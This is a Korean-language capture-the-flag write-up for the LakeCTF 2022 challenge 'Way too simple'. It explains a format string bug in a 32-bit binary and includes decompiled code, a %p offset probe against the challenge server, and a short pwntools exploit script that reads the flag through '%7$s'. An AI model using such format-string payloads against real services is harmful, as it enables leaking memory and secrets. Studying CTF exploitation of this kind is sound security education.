LakeCTF 2022 - Way to simple (32bit, fsb)

분석 환경: Windows 11, Ubuntu 20.04
사용자 제공 파일: 바이너리, 도커파일

Analysis

보호 기법

1
?

파일 정보

1
exe: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=ad8d3e5e9cf076847f4c23ee0443e19aa7170e7c, stripped

tmi

이 문제는 취약점을 설명하기에 앞서 할 말이 조금 있다.. ㅋㅋ

문제 실행을 하려는데 아래와 같이 문제 실행이 안되어서 조금 당황했다.

1
2
jir4vvit@ubuntu:~/ctf/lake/way_too_simple$ ./exe 
Segmentation fault (core dumped)

굳이 실행하려하지말고 도커파일 주어졌는데 build하고 run 하면 되지 않아? 라고 한다면.. 할 말이 없긴 하다. docker build는 성공했으나 docker run이 제대로 되지 않았는데, 이유는 딱히 알아보지 않았다. 왜냐면 그 과정에서 IDA로 바이너리 열었더니 굳이 로컬에서 실행시키지 않아도 풀 수 있을 것 같았기 때문이다. ㅎ

취약점

일단 문제에서 제공된 바이너리는 32bit 바이너리이다. IDA로 열어보면 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char input[128]; // [esp+Ch] [ebp-8Ch] BYREF
unsigned int v5; // [esp+8Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
sub_1111AE20(off_111B9498, 0);
sub_1111AE20(off_111B9494, 0);
sub_1111AE20(off_111B949C, 0);
flag_addr = (int)read_flag();
printf("The flag is at %p\n", (const void *)flag_addr);
sub_11118F10(off_111B9498);
printf("Input your magical spell! ");
sub_111187E0("%127[^\n]", input);
printf(input); // fsb
sub_111191B0((int)"\nHope you got what you wanted!");
sub_11118F10(off_111B9498);
result = 0;
if ( __readgsdword(0x14u) != v5 )
sub_11137030();
return result;
}

stripped file이라서 함수명이 다 sub_XX로 시작하고 있었다. 그래서 이름을 조금 바꿔줬다.

read_flag() 함수에서 flag를 open해서 read하는데 그 read한 주소를 반환한다.

결국 flag 위치를 출력해주고, 우리에게 input을 받는다.

여기서 포인트는 우리 input을 printf로 출력해줄 때 포맷 스트링 없이 출력을 해준다는 것이다. 그러면 fsb 취약점이 발생하게 된다.

1
2
3
4
5
jir4vvit@ubuntu:~/ctf/lake/way_too_simple$ nc chall.polygl0ts.ch 16000
The flag is at 0x12c1a420
Input your magical spell! AAAA %p %p %p %p %p %p %p %p %p %p
AAAA 0xffad03cc 0xffad0458 0x11111838 0x1118c5cf 0x32323032 0x2a 0x41414141 0x20702520 0x25207025 0x70252070
Hope you got what you wanted!

offset은 7임을 알 수 있다.

참고로 32bit 환경에서의 fsb 취약점에 대한 내용은 나의 구 티스토리 블로그에 자세히 설명되어 있다.

32bit에서 FSB (Format String Bug) 이해하기 -(1)
32bit에서 FSB (Format String Bug) 이해하기 -(2)
32bit에서 FSB (Format String Bug) 이해하기 -(3) (완)

Exploit

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

#context.log_level = 'debug'

p = remote('chall.polygl0ts.ch', 16000)
e = ELF('./exe')

p.recvuntil('0x')
flag = int('0x' + p.recv(8), 16)
log.info('flag address :: ' + hex(flag))

payload = ''
payload += p32(flag)
payload += "%7$s" # offset is 7

print(payload)
p.sendlineafter('spell!', payload)

p.interactive()

Flag

1
2
3
4
5
6
7
[*] flag address :: 0x12fe0420
\x04\x127$s
[*] Switching to interactive mode
\x04\x12PFL{format_string_are_way_too_old}
Hope you got what you wanted!
[*] Got EOF while reading in interactive
$

flag가 이런식으로 출력이 되는데, flag 포맷에 맞게 조금 만져주기만 하면 된다.

1
EPFL{format_string_are_way_too_old}